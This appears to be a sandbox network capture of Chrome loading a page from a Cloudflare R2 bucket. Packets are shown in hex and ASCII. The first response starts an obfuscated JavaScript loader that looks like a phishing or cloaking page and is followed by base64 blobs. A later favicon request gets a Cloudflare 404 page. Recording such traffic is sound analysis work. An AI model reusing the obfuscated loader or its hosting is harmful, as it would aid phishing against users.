2024-12-17 21:23:29 UTC	1110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 59 78 4d 78 4d 4a 75 48 3d 27 27 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 65 39 62 28 29 7b 76 61 72 20 5f 30 78 31 65 34 62 62 30 3d 5b 27 73 72 63 27 2c 27 68 6f 73 74 6e 61 6d 65 27 2c 27 73 6c 69 63 65 27 2c 27 63 6c 69 63 6b 27 2c 27 73 68 6f 72 74 63 75 74 5c 78 32 30 69 63 6f 6e 27 2c 27 74 79 70 65 27 2c 27 72 61 6e 64 6f 6d 27 2c 27 63 6f 75 6e 74 72 79 4e 61 6d 65 27 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head> <body><script>YxMxMJuH='';function _0x2e9b(){var _0x1e4bb0=['src','hostname','slice','click','shortcut\x20icon','type','random','countryName'
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 76 2f 41 74 46 58 37 6d 46 6f 69 74 2f 52 37 47 2f 56 56 48 69 68 2f 33 47 31 2b 59 36 6b 43 55 41 41 49 42 44 49 76 37 52 61 6f 72 2b 38 57 5a 62 6a 6b 48 38 31 79 69 4b 4e 53 2b 67 78 45 38 48 6a 47 33 6c 4b 70 41 6c 41 41 43 41 76 76 48 39 6c 78 52 39 2f 57 36 7a 46 49 4e 59 64 44 6e 46 64 37 65 62 32 38 31 42 49 45 73 41 41 41 43 68 34 53 48 58 6e 6a 2f 6b 6d 55 55 59 67 76 69 57 42 6d 50 37 75 51 5a 6b 43 51 41 41 49 42 54 78 62 33 5a 53 7a 2f 4d 58 47 2b 58 58 46 2b 4a 62 33 7a 66 75 4a 35 65 41 4c 41 45 41 41 49 51 69 75 6d 53 38 55 58 70 39 5a 75 45 2f 55 79 4b 53 32 34 36 42 4c 41 45 41 41 47 52 4d 62 46 32 6c 57 58 69 48 53 50 53 4e 65 34 7a 37 79 78 55 67 53 77 41 41 41 48 35 36 66 71 54 34 72 76 55 55 2f 36 4b 54 45 6a 2f 2f 34 4a 62 33 6c 49 Data Ascii: v/AtFX7mFoit/R7G/VVHih/3G1+Y6kCUAAIBDIv7Raor+8WZbjkH81yiKNS+gxE8HjG3lKpAlAACAvvH9lxR9/W6zFINYdDnFd7eb281BIEsAAACh4SHXnj/kmUUYgviWBmP7uQZkCQAAIBTxb3ZSz/MXG+XXF+Jb3zfuJ5eALAEAAIQiumS8UXp9ZuE/UyKS246BLAEAAGRMbF2lWXiHSPSNe4z7yxUgSwAAAH56fqT4rvUU/6KTEj//4Jb3lI
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 30 34 69 69 61 70 78 33 4d 4f 44 77 58 4b 4a 52 57 49 4e 49 74 50 49 36 6b 56 74 76 32 31 4e 6d 45 57 5a 43 2b 37 4f 2b 59 38 30 47 6b 47 58 49 55 48 4d 7a 35 53 37 70 72 4c 79 53 52 6f 79 38 6b 69 6f 33 6d 37 65 37 37 4b 32 6d 51 68 62 58 67 6c 62 71 4e 6d 33 76 41 79 6c 6c 75 64 76 5a 31 37 52 53 71 6d 6c 75 70 71 72 58 6d 6e 48 52 48 6c 41 67 53 7a 42 34 78 4e 59 75 4d 67 70 72 4d 49 6d 31 4c 4b 62 45 7a 77 65 6f 74 79 36 7a 2b 79 70 4e 4a 48 5a 34 35 6a 32 7a 42 47 51 5a 4d 74 54 63 54 4c 6d 37 62 48 36 52 62 72 44 45 64 45 4e 6c 70 33 6d 37 51 31 66 64 56 45 75 71 6f 36 68 69 6f 33 6c 37 66 39 4c 35 4d 67 74 38 42 6a 58 73 4e 32 38 48 32 51 61 79 42 47 43 6f 41 6c 6d 47 44 44 55 33 55 2b 35 4a 4f 71 6c 79 67 6e 56 68 6e 50 41 69 64 52 71 33 4d 37 75 Data Ascii: 04iiapx3MODwXKJRWINItPI6kVtv21NmEWZC+7O+Y80GkGXIUHMz5S7prLySRoy8kio3m7e77K2mQhbXglbqNm3vAylludvZ17RSqmlupqrXmnHRHlAgSzB4xNYuMgprMIm1LKbEzweoty6z+ypNJHZ45j2zBGQZMtTcTLm7bH6RbrDEdENlp3m7Q1fdVEuqo6hio3l7f9L5Mgt8BjXsN28H2QayBGCoAlmGDDU3U+5JOqlygnVhnPAidRq3M7u
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 6b 50 79 79 46 4a 69 48 49 62 64 58 30 75 7a 2b 4b 4a 6d 36 42 32 32 56 31 6a 43 53 4e 6e 72 74 45 6b 74 57 2b 76 43 62 56 31 63 31 58 62 74 34 37 4d 45 56 65 65 2f 43 45 55 61 65 5a 74 2b 50 76 70 50 6c 6f 31 55 31 65 77 56 6a 76 56 6c 78 54 64 66 37 4d 69 6d 61 43 6f 56 50 2f 49 71 64 58 6f 45 45 75 62 39 4d 65 50 49 30 71 70 37 71 33 56 65 74 50 66 4d 36 61 57 50 6d 4e 2b 63 4c 4f 2b 72 4c 45 64 65 53 57 56 74 36 68 63 63 35 31 68 35 6d 2f 62 6c 7a 50 6f 69 74 57 61 75 4f 4f 2f 65 66 58 54 57 76 2b 72 72 4c 63 75 36 63 39 35 58 52 67 71 63 7a 39 71 49 50 4f 75 39 30 4d 35 4c 74 2f 4f 46 59 36 4a 6e 35 43 54 33 59 4a 6b 64 66 76 6a 68 64 4e 68 68 68 32 6b 63 64 64 52 52 39 50 72 72 72 32 74 31 33 33 72 72 4c 58 66 37 42 78 39 38 6f 47 33 7a 73 6d 50 48 Data Ascii: kPyyFJiHIbdX0uz+KJm6B22V1jCSNnrtEktW+vCbV1c1Xbt47MEVee/CEUaeZt+PvpPlo1U1ewVjvVlxTdf7MimaCoVP/IqdXoEEub9MePI0qp7q3VetPfM6aWPmN+cLO+rLEdeSWVt6hcc51h5m/blzPoitWauOO/efXTWv+rrLcu6c95XRgqcz9qIPOu90M5Lt/OFY6Jn5CT3YJkdfvjhdNhhh2kcddRR9Prrr2t133rrLXf7Bx98oG3zsmPH
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 48 48 48 69 73 75 77 6a 78 50 36 64 32 32 64 75 31 61 61 6d 35 75 31 6e 70 48 6d 63 72 79 33 6e 76 76 46 58 56 34 4b 44 63 61 6a 57 72 62 75 41 63 6e 32 2f 6a 6b 6b 30 2f 63 38 72 43 79 2f 4f 69 6a 6a 39 78 32 70 43 79 39 35 63 38 2b 71 7a 2f 64 4a 6c 33 50 55 76 32 79 77 49 53 56 35 53 57 58 58 43 4c 71 54 35 67 77 77 52 32 4f 35 52 37 36 31 31 39 2f 37 61 76 37 77 67 73 76 69 4f 33 4d 33 72 31 37 78 5a 65 47 71 71 6f 71 63 62 36 34 72 4c 43 77 55 4b 75 66 62 68 69 57 35 32 48 56 75 74 6b 43 73 67 77 5a 61 6d 36 6d 33 49 30 34 38 70 41 79 73 75 63 43 31 5a 36 6d 52 56 63 74 46 58 4f 64 78 59 59 4c 74 59 48 2b 6c 61 55 7a 4c 43 78 7a 63 76 4c 31 72 6d 4a 4e 6a 53 35 62 65 2f 6a 4e 4d 39 54 6f 48 46 2f 61 6e 71 55 59 6d 6b 36 65 6c 2f 36 52 70 64 4f 4c 4c Data Ascii: HHHisuwjxP6d22du1aam5u1npHmcry3nvvFXV4KDcajWrbuAcn2/jkk0/c8rCy/Oijj9x2pCy95c8+qz/dJl3PUv2ywISV5SWXXCLqT5gwwR2O5R76119/7av7wgsviO3M3r17xZeGqqoqcb64rLCwUKufbhiW52HVutkCsgwZam6m3I048pAysucC1Z6mRVctFXOdxYYLtYH+laUzLCxzcvL1rmJNjS5be/jNM9ToHF/anqUYmk6el/6RpdOLL
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 74 78 58 76 68 56 6d 58 70 78 53 73 2f 6e 69 38 30 31 57 4e 47 6a 68 78 4a 58 56 33 36 65 65 6e 70 36 64 46 57 30 4b 72 77 33 43 72 66 69 71 4c 57 56 32 58 70 5a 64 53 6f 55 57 49 75 55 4b 33 50 39 45 57 57 4a 6c 71 74 2f 78 64 6c 50 58 55 4f 6c 6f 64 45 5a 59 2b 50 65 39 51 73 4e 79 35 6e 2b 61 74 74 71 38 4f 77 37 42 61 65 73 78 77 33 62 70 7a 34 6d 38 57 37 61 64 4d 6d 72 58 36 36 59 64 69 7a 7a 6a 70 4c 71 35 73 74 49 4d 75 51 6f 65 5a 6d 79 6a 30 64 39 69 2b 52 70 4a 2b 33 45 30 39 4f 71 5a 78 42 42 63 36 54 58 66 67 47 2b 49 4b 5a 70 64 54 77 73 54 35 2f 6c 41 31 5a 75 69 73 2b 2b 2f 69 73 57 6e 76 59 4e 4f 44 34 4c 4b 6d 4b 4a 2b 42 4d 63 70 37 30 77 75 4b 63 5a 6c 32 55 57 31 4e 63 55 50 6c 4a 4f 76 4d 6e 4f 69 73 78 75 61 37 39 78 4a 6d 30 78 2b Data Ascii: txXvhVmXpxSs/ni801WNGjhxJXV36eenp6dFW0Krw3CrfiqLWV2XpZdSoUWIuUK3P9EWWJlqt/xdlPXUOlodEZY+Pe9QsNy5n+attq8Ow7Baesxw3bpz4m8W7adMmrX66YdizzjpLq5stIMuQoeZmyj0d9i+RpJ+3E09OqZxBBc6TXfgG+IKZpdTwsT5/lA1Zuis++/isWnvYNOD4LKmKJ+BMcp70wuKcZl2UW1NcUPlJOvMnOisxua79xJm0x+
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 63 67 48 49 45 67 41 41 4d 71 43 76 73 72 52 37 6c 4b 57 61 35 46 67 51 62 6c 74 43 44 6f 35 34 78 4c 79 65 32 6c 61 53 39 67 71 72 54 6c 31 70 69 68 77 47 41 76 32 34 2b 42 69 4d 51 6a 74 55 57 51 71 38 35 33 54 77 67 53 77 42 41 43 41 44 2b 69 78 4c 70 31 65 6e 76 56 62 32 6e 70 67 69 46 6d 6d 79 6c 79 5a 36 6e 65 34 32 52 54 70 70 52 44 6f 77 6d 49 2f 4c 7a 56 56 75 36 37 4d 73 75 56 36 79 76 62 37 33 67 4c 4d 44 5a 41 6b 41 41 45 4d 42 6a 32 54 41 77 41 4a 5a 41 67 42 41 41 4c 2b 5a 63 4b 50 53 67 78 6f 34 6b 6a 6e 59 76 54 6a 75 62 63 6c 74 48 58 2f 2f 75 37 49 39 65 38 7a 34 6a 79 49 74 70 34 47 6b 66 76 56 71 59 30 36 44 41 57 51 4a 41 41 43 35 6a 42 68 2b 39 51 7a 6a 67 67 45 48 73 67 51 41 41 41 41 43 67 43 77 42 41 41 43 41 41 43 42 4c 41 41 41 Data Ascii: cgHIEgAAMqCvsrR7lKWa5FgQbltCDo54xLye2laS9gqrTl1pihwGAv24+BiMQjtUWQq853TwgSwBACAD+ixLp1envVb2npgiFmmylyZ6ne42RTppRDowmI/LzVVu67MsuV6yvb73gLMDZAkAAEMBj2TAwAJZAgBAAL+ZcKPSgxo4kjnYvTjubcltHX//u7I9e8z4jyItp4GkfvVqY06DAWQJAAC5jBh+9QzjggEHsgQAAAACgCwBAACAACBLAAA
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 45 72 30 4b 74 50 32 6c 30 4f 33 62 74 77 2f 48 34 75 4c 67 63 72 6e 67 64 44 6f 4e 42 6f 50 42 59 41 67 71 71 45 2f 55 4b 65 70 56 6f 4f 32 55 68 43 37 2b 32 44 46 6b 5a 57 55 5a 44 41 61 44 77 52 43 55 55 4b 63 4b 4a 58 54 48 6a 4e 41 5a 44 41 61 44 49 59 69 68 54 68 6d 68 4d 78 67 4d 42 6b 4f 78 78 51 69 64 77 57 41 77 47 49 6f 31 52 75 67 4d 42 6f 50 42 55 4b 77 78 51 6d 63 77 47 41 79 47 59 6f 30 52 4f 6f 50 42 59 44 41 55 61 34 7a 51 47 51 77 47 67 36 46 59 51 35 30 36 34 35 6c 52 6a 4e 41 5a 44 41 61 44 49 64 67 78 51 6d 63 77 47 41 79 47 59 67 31 31 79 72 67 75 44 51 61 44 77 56 42 73 4d 55 4a 6e 4d 42 67 4d 68 6d 49 4e 64 61 70 77 6b 7a 6f 62 6f 54 4d 59 44 49 5a 69 54 58 5a 32 66 67 4b 46 49 66 37 68 4e 49 48 43 2f 70 31 51 70 33 62 76 33 75 31 Data Ascii: Er0KtP2l0O3btw/H4uLgcrngdDoNBoPBYAgqqE/UKepVoO2UhC7+2DFkZWUZDAaDwRCUUKcKJXTHjNAZDAaDIYihThmhMxgMBkOxxQidwWAwGIo1RugMBoPBUKwxQmcwGAyGYo0ROoPBYDAUa4zQGQwGg6FYQ50645lRjNAZDAaDIdgxQmcwGAyGYg11yrguDQaDwVBsMUJnMBgMhmINdapwkzoboTMYDIZiTXZ2fgKFIf7hNIHC/p1Qp3bv3u1
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 79 4c 7a 39 36 48 49 53 64 75 6c 37 75 4e 41 6c 73 73 53 4e 4c 62 62 73 51 7a 58 7a 2b 58 4b 64 6b 68 5a 36 38 68 78 49 69 4d 6e 55 38 37 70 39 79 6f 71 71 46 50 2f 48 74 65 6c 45 69 43 33 55 2f 32 42 36 6f 64 79 38 37 4d 57 4a 68 45 6b 71 32 62 41 52 74 57 4d 6a 41 77 63 69 54 32 43 50 33 61 74 77 74 41 31 4d 78 47 35 4a 68 4b 52 71 78 58 63 72 79 64 44 4d 58 54 50 64 4d 79 4e 58 6f 61 39 36 64 46 49 64 61 54 44 70 51 54 4d 72 61 34 56 47 4b 66 36 38 37 4e 73 6f 73 6e 37 75 31 79 71 78 75 46 30 43 43 63 38 6d 38 46 67 4d 50 77 44 55 4c 7a 38 73 63 35 62 46 58 6d 6e 45 68 42 43 41 58 47 34 48 45 69 4f 32 6f 4b 44 69 37 2b 46 61 33 45 6b 58 4c 39 46 49 6d 76 7a 4c 4c 6a 6a 4e 6d 44 4e 6a 41 48 59 32 50 6c 42 48 50 75 4d 31 68 79 74 4f 43 56 61 53 75 68 53 Data Ascii: yLz96HISdul7uNAlssSNLbbsQzXz+XKdkhZ68hxIiMnU87p9yoqqFP/HtelEiC3U/2B6ody87MWJhEkq2bARtWMjAwciT2CP3atwtA1MxG5JhKRqxXcrydDMXTPdMyNXoa96dFIdaTDpQTMra4VGKf687Nsosn7u1yqxuF0CCc8m8FgMPwDULz8sc5bFXmnEhBCAXG4HEiO2oKDi7+Fa3EkXL9FImvzLLjjNmDNjAHY2PlBHPuM1hytOCVaSuhS
2024-12-17 21:23:29 UTC	1369	IN	Data Raw: 52 4c 43 56 56 34 46 5a 75 49 33 59 4b 53 6b 54 55 38 65 4d 35 35 72 44 6a 66 2b 52 6f 6f 45 31 45 54 70 64 54 65 65 35 32 49 34 5a 57 34 5a 74 68 74 2b 4f 54 58 48 74 69 54 47 49 55 55 64 78 71 79 63 32 6c 79 32 32 66 6c 74 6e 44 6e 65 79 36 44 77 57 44 34 2b 79 6c 49 36 49 67 7a 49 77 50 62 6c 73 37 48 38 71 2b 66 52 31 53 6e 2b 6b 72 45 37 45 4c 48 7a 77 55 4a 6e 54 33 63 71 57 4a 5a 63 6f 52 43 35 2f 6a 69 66 38 68 65 39 78 57 69 46 6f 31 45 39 4c 68 6e 6b 54 53 78 43 52 77 54 37 38 53 68 37 39 76 69 79 4d 71 4a 53 49 2f 62 59 30 30 58 35 73 70 43 6a 6b 49 45 6a 2b 57 2b 35 78 33 30 2b 78 57 32 67 77 70 31 4b 69 69 6e 41 4e 4e 2f 6b 6f 61 69 77 75 45 43 64 43 48 75 32 4c 4d 44 37 2f 52 76 6a 5a 4a 39 4b 48 41 32 6b 66 4a 41 59 53 75 6c 7a 70 63 4c 72 Data Ascii: RLCVV4FZuI3YKSkTU8eM55rDjf+RooE1ETpdTee52I4ZW4Ztht+OTXHtiTGIUUdxqyc2ly22fltnDney6DwWD4+ylI6IgzIwPbls7H8q+fR1Sn+krE7ELHzwUJnT3cqWJZcoRC5/jif8he9xWiFo1E9LhnkTSxCRwT78Sh79viyMqJSI/bY00X5spCjkIEj+W+5x30+xW2gwp1KiinANN/koaiwuECdCHu2LMD7/RvjZJ9KHA2kfJAYSulzpcLr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49720	162.159.140.237	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:23:32 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:23:32 UTC	180	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 21:23:32 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8f39f98f6bcf330c-EWR
2024-12-17 21:23:32 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2024-12-17 21:23:32 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
